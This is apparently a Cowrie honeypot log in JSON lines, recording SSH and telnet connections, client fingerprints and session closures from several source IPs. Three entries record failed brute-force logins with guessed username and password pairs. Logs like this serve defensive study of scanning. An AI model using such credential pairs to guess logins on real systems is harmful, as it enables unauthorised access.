{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:07:01.024493Z","src_ip":"159.203.92.129","session":"94f5c93a90c7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.056032180786133,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:07:01.032763Z","src_ip":"108.179.216.206","session":"2c5f8c32df4b","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"Oracle@123","message":"login attempt [ansible/Oracle@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:07:01.047416Z","src_ip":"159.203.92.129","session":"94f5c93a90c7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.849626779556274,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:07:01.102043Z","src_ip":"108.179.216.206","session":"7e4f0070a234","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.215.1.145","src_port":44278,"dst_ip":"10.17.0.5","dst_port":23,"session":"b5f21161b787","protocol":"telnet","message":"New connection: 162.215.1.145:44278 (10.17.0.5:23) [session: b5f21161b787]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:07:01.519823Z"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:07:02.054765Z","src_ip":"159.203.92.129","session":"94f5c93a90c7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":54590,"dst_ip":"159.203.135.109","dst_port":23,"session":"594e75800531","protocol":"telnet","message":"New connection: 209.126.87.217:54590 (159.203.135.109:23) [session: 594e75800531]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:07:02.161440Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":55320,"dst_ip":"10.17.0.5","dst_port":23,"session":"f3276f7b176e","protocol":"telnet","message":"New connection: 108.179.216.206:55320 (10.17.0.5:23) [session: f3276f7b176e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:07:02.209496Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":55502,"dst_ip":"10.17.0.5","dst_port":23,"session":"6e30190069f8","protocol":"telnet","message":"New connection: 108.179.216.206:55502 (10.17.0.5:23) [session: 6e30190069f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:07:02.377437Z"}
{"eventid":"cowrie.session.closed","duration":30.467450380325317,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:07:02.436384Z","src_ip":"108.179.216.206","session":"645d707d79ef","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":55234,"dst_ip":"10.17.0.5","dst_port":23,"session":"dec7622cd748","protocol":"telnet","message":"New connection: 108.179.216.206:55234 (10.17.0.5:23) [session: dec7622cd748]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:07:03.134162Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":54604,"dst_ip":"159.203.135.109","dst_port":23,"session":"314aea0fec07","protocol":"telnet","message":"New connection: 209.126.87.217:54604 (159.203.135.109:23) [session: 314aea0fec07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:07:03.300409Z"}
{"eventid":"cowrie.session.closed","duration":31.471685647964478,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:07:03.655017Z","src_ip":"108.179.216.206","session":"06c945075f4e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":54620,"dst_ip":"159.203.135.109","dst_port":23,"session":"0c2ebb3a9cce","protocol":"telnet","message":"New connection: 209.126.87.217:54620 (159.203.135.109:23) [session: 0c2ebb3a9cce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:07:03.665781Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":56890,"dst_ip":"10.17.0.5","dst_port":23,"session":"cb60de15f8fd","protocol":"telnet","message":"New connection: 108.179.216.206:56890 (10.17.0.5:23) [session: cb60de15f8fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:07:03.687444Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":55902,"dst_ip":"10.17.0.5","dst_port":23,"session":"06e669c8e61b","protocol":"telnet","message":"New connection: 108.179.216.206:55902 (10.17.0.5:23) [session: 06e669c8e61b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:07:03.754541Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":57220,"dst_ip":"10.17.0.5","dst_port":23,"session":"4e3d4172ddf9","protocol":"telnet","message":"New connection: 108.179.216.206:57220 (10.17.0.5:23) [session: 4e3d4172ddf9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:07:03.979969Z"}
{"eventid":"cowrie.session.closed","duration":30.50805163383484,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:07:04.071068Z","src_ip":"108.179.216.206","session":"8066c3a1de77","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":54624,"dst_ip":"159.203.135.109","dst_port":23,"session":"3ad76252794e","protocol":"telnet","message":"New connection: 209.126.87.217:54624 (159.203.135.109:23) [session: 3ad76252794e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:07:04.513426Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":57820,"dst_ip":"10.17.0.5","dst_port":23,"session":"d5ac386bb778","protocol":"telnet","message":"New connection: 108.179.216.206:57820 (10.17.0.5:23) [session: d5ac386bb778]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:07:04.524175Z"}
{"eventid":"cowrie.session.closed","duration":31.45878005027771,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:07:04.571647Z","src_ip":"108.179.216.206","session":"09d03c6db8e2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":58622,"dst_ip":"10.17.0.5","dst_port":23,"session":"397b41c89a10","protocol":"telnet","message":"New connection: 108.179.216.206:58622 (10.17.0.5:23) [session: 397b41c89a10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:07:05.215375Z"}
{"eventid":"cowrie.session.closed","duration":31.23833131790161,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:07:05.324720Z","src_ip":"108.179.216.206","session":"307568db96d8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.012068510055542,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:07:06.332708Z","src_ip":"108.179.216.206","session":"8027c6e021e4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.82236075401306,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:07:06.499124Z","src_ip":"108.179.216.206","session":"87aad7437f19","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":54634,"dst_ip":"159.203.135.109","dst_port":23,"session":"a34f98d6a4ca","protocol":"telnet","message":"New connection: 209.126.87.217:54634 (159.203.135.109:23) [session: a34f98d6a4ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:07:06.691045Z"}
{"eventid":"cowrie.session.closed","duration":30.720247507095337,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:07:07.644723Z","src_ip":"108.179.216.206","session":"dcfde19b2995","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.43.86.48","src_port":46468,"dst_ip":"10.17.0.5","dst_port":22,"session":"1cf8dfb100c7","protocol":"ssh","message":"New connection: 45.43.86.48:46468 (10.17.0.5:22) [session: 1cf8dfb100c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:07:07.716756Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:07:07.720877Z","src_ip":"45.43.86.48","session":"1cf8dfb100c7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:07:07.829974Z","src_ip":"45.43.86.48","session":"1cf8dfb100c7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":33914,"dst_ip":"10.17.0.5","dst_port":23,"session":"b245168eeaeb","protocol":"telnet","message":"New connection: 108.179.216.206:33914 (10.17.0.5:23) [session: b245168eeaeb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:07:07.940074Z"}
{"eventid":"cowrie.session.closed","duration":33.757213830947876,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:07:08.046598Z","src_ip":"209.126.87.217","session":"94b6f6afa35a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":34106,"dst_ip":"10.17.0.5","dst_port":23,"session":"3736701d2976","protocol":"telnet","message":"New connection: 108.179.216.206:34106 (10.17.0.5:23) [session: 3736701d2976]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:07:08.070203Z"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"123456789","message":"login attempt [mysql/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:07:08.188901Z","src_ip":"45.43.86.48","session":"1cf8dfb100c7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":35460,"dst_ip":"10.17.0.5","dst_port":23,"session":"2da36ffa7dd0","protocol":"telnet","message":"New connection: 108.179.216.206:35460 (10.17.0.5:23) [session: 2da36ffa7dd0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:07:09.011031Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:07:09.271272Z","src_ip":"45.43.86.48","session":"1cf8dfb100c7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":35944,"dst_ip":"10.17.0.5","dst_port":23,"session":"20e421f63997","protocol":"telnet","message":"New connection: 108.179.216.206:35944 (10.17.0.5:23) [session: 20e421f63997]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:07:09.433072Z"}
{"eventid":"cowrie.session.closed","duration":31.082090616226196,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:07:09.555755Z","src_ip":"108.179.216.206","session":"034d2628824f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.150928258895874,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:07:10.705968Z","src_ip":"108.179.216.206","session":"2cf2d2e6499a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":34080,"dst_ip":"10.17.0.5","dst_port":23,"session":"0848f4d6a9d1","protocol":"telnet","message":"New connection: 108.179.216.206:34080 (10.17.0.5:23) [session: 0848f4d6a9d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:07:11.049343Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":39664,"dst_ip":"10.17.0.5","dst_port":23,"session":"842629d9749f","protocol":"telnet","message":"New connection: 108.179.216.206:39664 (10.17.0.5:23) [session: 842629d9749f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:07:13.148535Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":39580,"dst_ip":"159.203.135.109","dst_port":23,"session":"117547aad4d4","protocol":"telnet","message":"New connection: 209.126.87.217:39580 (159.203.135.109:23) [session: 117547aad4d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:07:13.641712Z"}
{"eventid":"cowrie.session.closed","duration":31.08165454864502,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:07:13.678536Z","src_ip":"108.179.216.206","session":"d14c20f7c1cb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.618971824645996,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:07:14.201880Z","src_ip":"108.179.216.206","session":"c4865c6f0acb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"171.244.141.86","src_port":38202,"dst_ip":"159.203.135.109","dst_port":22,"session":"9aa3960ac28d","protocol":"ssh","message":"New connection: 171.244.141.86:38202 (159.203.135.109:22) [session: 9aa3960ac28d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:07:16.465480Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:07:16.470074Z","src_ip":"171.244.141.86","session":"9aa3960ac28d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":43778,"dst_ip":"10.17.0.5","dst_port":23,"session":"6c6dcfe0da52","protocol":"telnet","message":"New connection: 108.179.216.206:43778 (10.17.0.5:23) [session: 6c6dcfe0da52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:07:16.521670Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:07:16.726146Z","src_ip":"171.244.141.86","session":"9aa3960ac28d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.13507843017578,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:07:16.866762Z","src_ip":"108.179.216.206","session":"371c045d6c98","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":46022,"dst_ip":"10.17.0.5","dst_port":23,"session":"7a073500180f","protocol":"telnet","message":"New connection: 108.179.216.206:46022 (10.17.0.5:23) [session: 7a073500180f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:07:17.265497Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456@as","message":"login attempt [root/123456@as] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:07:17.770751Z","src_ip":"171.244.141.86","session":"9aa3960ac28d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.849093198776245,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:07:18.081755Z","src_ip":"108.179.216.206","session":"aeb7c83f8cad","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.607938289642334,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:07:18.118147Z","src_ip":"108.179.216.206","session":"80a07d4f8cd8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":48152,"dst_ip":"10.17.0.5","dst_port":23,"session":"d88e9438baee","protocol":"telnet","message":"New connection: 108.179.216.206:48152 (10.17.0.5:23) [session: d88e9438baee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:07:18.761716Z"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:07:19.028959Z","src_ip":"171.244.141.86","session":"9aa3960ac28d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":49940,"dst_ip":"10.17.0.5","dst_port":23,"session":"595ddb7c7968","protocol":"telnet","message":"New connection: 108.179.216.206:49940 (10.17.0.5:23) [session: 595ddb7c7968]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:07:20.275942Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":59290,"dst_ip":"159.203.135.109","dst_port":23,"session":"6008f8750283","protocol":"telnet","message":"New connection: 209.126.87.217:59290 (159.203.135.109:23) [session: 6008f8750283]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:07:20.312355Z"}
{"eventid":"cowrie.session.closed","duration":34.85529971122742,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:07:20.461736Z","src_ip":"209.126.87.217","session":"85536839235a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.985881328582764,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:07:20.807923Z","src_ip":"108.179.216.206","session":"2e452c6f9e0a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":51528,"dst_ip":"10.17.0.5","dst_port":23,"session":"15fab93c4985","protocol":"telnet","message":"New connection: 108.179.216.206:51528 (10.17.0.5:23) [session: 15fab93c4985]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:07:21.545545Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":52228,"dst_ip":"10.17.0.5","dst_port":23,"session":"202b8a04bb27","protocol":"telnet","message":"New connection: 108.179.216.206:52228 (10.17.0.5:23) [session: 202b8a04bb27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:07:22.079962Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":52848,"dst_ip":"10.17.0.5","dst_port":23,"session":"c9fc000604c0","protocol":"telnet","message":"New connection: 108.179.216.206:52848 (10.17.0.5:23) [session: c9fc000604c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:07:22.573163Z"}
{"eventid":"cowrie.session.closed","duration":37.15107035636902,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:07:22.592987Z","src_ip":"209.126.87.217","session":"e6e7eabc4289","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":59296,"dst_ip":"159.203.135.109","dst_port":23,"session":"a9d30c943e3a","protocol":"telnet","message":"New connection: 209.126.87.217:59296 (159.203.135.109:23) [session: a9d30c943e3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:07:23.221124Z"}
{"eventid":"cowrie.session.closed","duration":30.96599054336548,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:07:23.326806Z","src_ip":"108.179.216.206","session":"1b3bc531a7a7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.46993279457092,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:07:24.601868Z","src_ip":"108.179.216.206","session":"ef138f74bae7","protocol":"telnet"}
